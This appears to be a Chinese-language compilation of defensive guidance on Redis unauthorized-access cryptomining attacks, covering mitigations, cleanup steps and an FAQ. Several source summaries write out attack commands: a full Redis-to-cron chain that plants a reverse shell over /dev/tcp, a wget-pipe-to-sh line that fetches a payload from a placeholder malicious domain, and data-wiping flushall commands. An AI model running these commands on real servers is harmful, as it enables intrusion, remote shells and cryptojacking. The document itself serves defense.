防范措施:1. 修改Redis默认端口6379,避免扫描;2. 设置密码认证,使用requirepass配置;3. 绑定本地IP,只允许127.0.0.1访问;4. 禁用危险命令如CONFIG、FLUSHALL;5. 使用防火墙限制访问;6. 定期更新Redis版本;7. 部署在隔离网络环境中;8. 监控异常流量和进程。
来源一
Redis未授权访问漏洞是由于Redis默认配置未设置访问密码,导致攻击者可直接连接Redis并执行命令。最近攻击者利用此漏洞写入SSH公钥或cron任务,部署挖矿木马。防范方法:配置requirepass设置密码,bind 127.0.0.1绑定本地,防火墙只开放必要IP,重启Redis服务后验证配置。
来源二
挖矿攻击频发,攻击者通过未授权Redis执行命令下载恶意脚本,如curl执行X86.sh脚本启动矿工。攻击链:扫描6379端口 -> 未授权访问 -> keys *查看数据 -> config set dir /var/spool/cron -> config set dbfilename root -> set x "\n\n * * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/443 0>&1\n\n" -> bgsave。防护:立即设置密码,禁用危险命令rename-command CONFIG ''。
来源三
Redis未授权导致服务器被植入挖矿程序,CPU飙升100%。攻击脚本会创建cron任务每分钟执行挖矿。如何修复:停止Redis,删除/var/spool/cron下恶意条目,清空Redis数据,修改端口为非标准,设置protected-mode yes,requirepass yourpassword。
来源四
近期Redis挖矿攻击,利用未授权写公钥登录服务器安装矿工。命令序列:redis-cli -h ip flushall; redis-cli -h ip --raw keys '*' | xargs redis-cli -h ip del; 等。预防:1.升级Redis到最新版;2.配置ACL用户认证;3.使用容器隔离;4.监控日志发现异常bgsave。
来源五
攻击者通过Redis未授权将恶意代码写入cron:echo '* * * * * wget -q -O- http://恶域名/666 | sh' >> /var/spool/cron/root。结果服务器变挖矿机。防范教程:vim /etc/redis/redis.conf,添加requirepass 强密码,bind 0.0.0.0改为127.0.0.1,重载配置systemctl restart redis。
来源六
Redis被用于传播挖矿蠕虫,感染后生成SSH密钥互扫其他服务器。症状:大量6379连接,内存占用高。解决方案:killall kdevtmpfsi等进程,rm -rf /var/tmp/*,配置防火墙iptables -A INPUT -p tcp --dport 6379 -j DROP,设置Redis密码。
FAQ
Q: Redis未授权攻击如何检测?
A: 使用netstat查看6379连接,ps aux看异常进程如kworker,crontab -l检查恶意任务。
Q: 设置密码后还需要做什么?
A: 结合bind IP、禁用CONFIG命令、开启protected-mode。
Q: 云服务器Redis怎么防护?
A: 安全组只开内网端口,使用VPC隔离,WAF拦截扫描。
Q: 已被攻击怎么清理?
A: 重置服务器,删除cron/root,flushall清数据,改端口密码。